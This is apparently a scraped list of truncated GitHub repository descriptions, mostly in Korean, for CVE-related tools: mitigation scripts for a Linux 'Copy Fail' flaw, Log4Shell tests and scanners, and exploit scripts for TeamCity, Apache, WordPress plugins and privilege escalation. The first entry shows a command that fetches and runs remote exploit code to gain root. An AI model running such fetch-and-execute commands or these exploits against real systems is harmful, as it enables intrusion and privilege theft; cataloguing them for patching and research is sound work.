copyFail-CVE-2026-31431-workaround-bash

copyFail-CVE-2026-31431-workaround-bash 사용 예시: user@host:$ python3 -c "$curl -s https://copy.fail/exp -o-" id uid=0root gid=1000user ctrl+d user@host:$ git clone https://github.com/someCorp/copyFail-CVE-2026-31431-workaround-bash user@host:$ sudo bash copyFail-CVE-2026-31431-workaround-bash/qdf.s...

Paranoid-Copy-Fail-CVE-2026-31431

================================ Paranoid AFALG 강화 스크립트 ================================ 모든 사용자 공간 커널 암호화 인터페이스AFALG + algif 모듈 차단 CVE-2026-31431 완화 및 향후 공격 표면 축소 일반 시스템SSH, TLS, LUKS, WireGuard에 안전 AFALG 소켓을 직접 사용하는 드문 앱만 중단됨 ================================...

CVE-2026-31431-Copy-Fail

CVE-2026-31431 - 검증 및 완화 스크립트 이 저장소는 Linux 호스트특히 Ubuntu에서 CVE-2026-31431 노출 여부를 평가하고, algifaead 모듈을 차단하여 간단한 완화 조치를 적용하는 데 사용되는 Bash 스크립트를 문서화합니다. 언어 버전: 영어: README.md 포르투갈어: README.pt-BR.md 스크립트는 세 가지 모드를 지원합니다: --check: 호스트 정보를 수집하고 현재 상태를 분류합니다. --mitigate: 취약한 모듈을 차단하는 modprobe 규칙을 생성하고 모듈 언로...

cve-2021-44228-waf-tests

WAF 또는 기타 장치를 Log4Shell 공격 문자열 및 다양한 우회 기법에 대해 테스트하는 간단한 bash 스크립트 우회 트릭 출처: https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words 실행 방법: ./cve-2021-44228.sh -t -c 또는 기본값인 https://127.0.0.1 및 403을 사용하려면: ./cve-2021-44228.sh 각 테스트 문자열에 대해 이 스크립트는 다음과 같은 다양한 벡터를 사용하여 대상에 요청을 보냅니다: 헤더:...

Search-log4Jvuln-AppScanSTD

AppScan Standard과 웹사이트 목록을 사용하여 log4J 취약점 검색 이 Powershell 스크립트는 웹사이트 목록URLs.txt에 대해 AppScan Standard 스캔을 실행하여 Log4JCVE-2021-44228 취약점만 확인합니다. 프로젝트 구조: 스크립트 실행 후, URLs.txt의 각 줄을 읽고 Log4JCVE-2021-44228 취약점 스캔을 시작합니다. 각 스캔이 완료되면 Log4JResultAnalysis.txt에 결과를 기록합니다. 각 스캔 파일은 Scan 폴더에 있으며 AppScan...

CVE-2025-8625

CVE-2025-8625 — PoC 개요 이 저장소에는 Xakep.ru에 게시된 기사의 원본 파일이 포함되어 있습니다. 이 저장소에는 격리된 실험실 환경 에서의 보안 연구, 교육 및 테스트를 전용으로 목적으로 하는 데모 자료가 포함되어 있습니다. 이 저장소는 타사 시스템에 대해 사용하기 위한 것이 아닙니다. 저장소 내용 docker-compose.yml — 분석 및 테스트를 위한 로컬 격리된 WordPress 인스턴스를 구동하기 위한 구성. exploit/CVE-2025-8625.py — 기사에서 개념을 시연하는 데 사용되는 ...

CVE-2023-42793_POC

CVE-2023-42793 익스플로잇 스크립트 개요 이 스크립트는 CVE-2023-42793 취약점에 대한 익스플로잇 과정을 자동화하도록 설계되었습니다. 특정 서비스이 취약점의 영향을 받는 것으로 추정를 대상으로 하며, 사용자 토큰을 삭제하고, 새 사용자 토큰을 생성한 다음, 관리 권한이 있는 새 사용자를 생성하려고 시도합니다. 요구 사항 Python 3 라이브러리: requests, random, argparse, xml.etree.ElementTree 설치 1. 시스템에 Python 3이 설치되어 있는지 확인합니다. 2...

CVE-2026-31431-exploit_py2_py3

CVE-2026-31431-exploitpy2py3 Python2와 Python3를 모두 지원하는 CVE-2026-31431 스크립트 사용 방법: python2/3 exploitpy2py3.py escalate 출처: https://github.com/Sndav/CVE-2026-31431-Advanced-Exploit...

CVE-2021-41773

CVE-2021-41773 Apache 2.4.49용 경로 탐색Path Traversal https://ubuntu.com/security/CVE-2021-41773 영향을 받는 버전 기준 시각: 2021년 10월 6일 22:49 사용법 IP python3 CVE-2021-41773.py -i 10.10.10.10 -s IP 목록 python3 CVE-2021-41773.py -l /home/ac1d/Documents/code/python/CVE-2021-41773/ips.txt -s 스크린샷 Apache 버전 확인...

copy-fail-mitigate-no-reboot

copy-fail-mitigate Copy Fail / CVE-2026-31431에 대한 최소한의 재부팅 없는 완화 헬퍼입니다. 이 스크립트는 취약한 algifaead 모듈 경로를 비활성화하고 즉시 모듈을 언로드하려고 시도합니다. 또한 /usr/bin/su에 대한 페이지 캐시 제거를 최선의 노력으로 수행합니다. 이는 커널 수정이 아닌 완화 조치입니다. 공급업체의 패치된 커널이 제공되는 즉시 설치하십시오. 수행 작업 이 스크립트는 공개된 Copy Fail 권고에서 권장하는 완화 조치를 실행합니다: echo "install...

pepe

PEPE - Post Exploitation Pastebin Emails Collect information about leaked email addresses from Pastebin About Script parses Pastebin email:password dumps and gather information about each email address. It supports Google, Trumail, Pipl, FullContact and HaveIBeenPwned. Moreover, it allows you to...

CVE-2026-0740

ninja.py WordPress 사이트의 Ninja Forms 플러그인을 대상으로 하는 파일 업로드 엔드포인트를 사용하는 실험적/도구 스크립트입니다. list.txt에 있는 대상에 순차적으로 요청을 보내고, 성공한 업로드를 shell.txt 파일에 기록합니다. 요구 사항 Python 3 requests urllib3와 함께 일반적으로 설치됨 pip install requests urllib3 파일 구성 파일| 설명 ---|--- ninja.py| 메인 스크립트. list.txt| 대상 URL; 각 줄에 하나의 URL...

CopyFail-Patcher

CVE-2026-31431 패치 스크립트 이 저장소는 Debian/Ubuntu/RHEL/Fedora용 CopyFail 취약점 패치 스크립트를 제공합니다. 다른 배포판에서는 테스트하지 않았지만 어쨌든... 다음 단계를 따르세요: $ git clone https://github.com/mhdgning131/CopyFail-Patcher.git $ cd CopyFail-Patcher $ chmod +x patchcopyfail.sh $ ./patchcopyfail.sh 원하는 경우 패치를 제거할 수 있도록 제거 스크립트도...

log4jhound

log4jhound 프로젝트와 시스템에서 Log4j 발생 항목을 탐지하는 Bash 스크립트: JAR 파일의 압축을 풀어 Manifest 파일을 분석하고, 소스 코드에서 텍스트 검색을 수행합니다. 사용법: ./log4jhound.sh rootdirectory...

CVE-2021-42013

CVE-2021-42013 설명 이 스크립트는 CVE-2021-42013을 악용하여 파일을 출력하거나 명령어를 실행합니다. 이 스크립트는 다음 환경에서 사용할 수 있습니다: Nmap Python Ruby 요구 사항 Python python3 python3 표준 라이브러리 Ruby Ruby Ruby 표준 라이브러리 설치 git clone https://github.com/mauricelambert/CVE-2021-42013.git cd CVE-2021-42013 Python pip install -r requirements.tx...

CVE-2021-41773

CVE-2021-41773 설명 이 스크립트는 CVE-2021-41773을 악용하여 파일을 출력하거나 명령어를 실행합니다. 이 스크립트는 다음 환경에서 사용할 수 있습니다: Nmap Python Ruby 요구 사항 Python python3 python3 표준 라이브러리 Ruby Ruby Ruby 표준 라이브러리 설치 git clone https://github.com/mauricelambert/CVE-2021-41773.git cd CVE-2021-41773 Python pip install -r requirements.tx...

ProxyShell-CVE-2021-34473.py

ProxyShell-CVE-2021-34473 ProxyShell 취약점을 확인하는 간단한 스크립트...

telnet-CVE-2026-24061

https://github.com/SafeBreach-Labs/CVE-2026-24061/blob/main/telnetrce.py 코드를 이해해야 함 2. input 없이 작동하는 코드 구축, 직접 zmienna = '' 코드는 모든 장치와 호환되어야 하므로 os.system'polecenie' 같은 명령은 사용할 수 없음 3. simple-term-menu를 통한 GUI 추가...

KSK-ITDK-CVE-2026-21509-Mitigation

CVE-2026-21509-Mitigation CVE-2026-21509 탐지 및 수정을 위한 PowerShell 스크립트...

CVE-2026-107337

The Malcolm kiosk Flask application exposes a POST /scriptcall/ endpoint with zero authentication and wildcard CORS CORSapp. An attacker can force the operator's browser to execute arbitrary management commands via CSRF, including control.py --wipe which permanently deletes all captured network...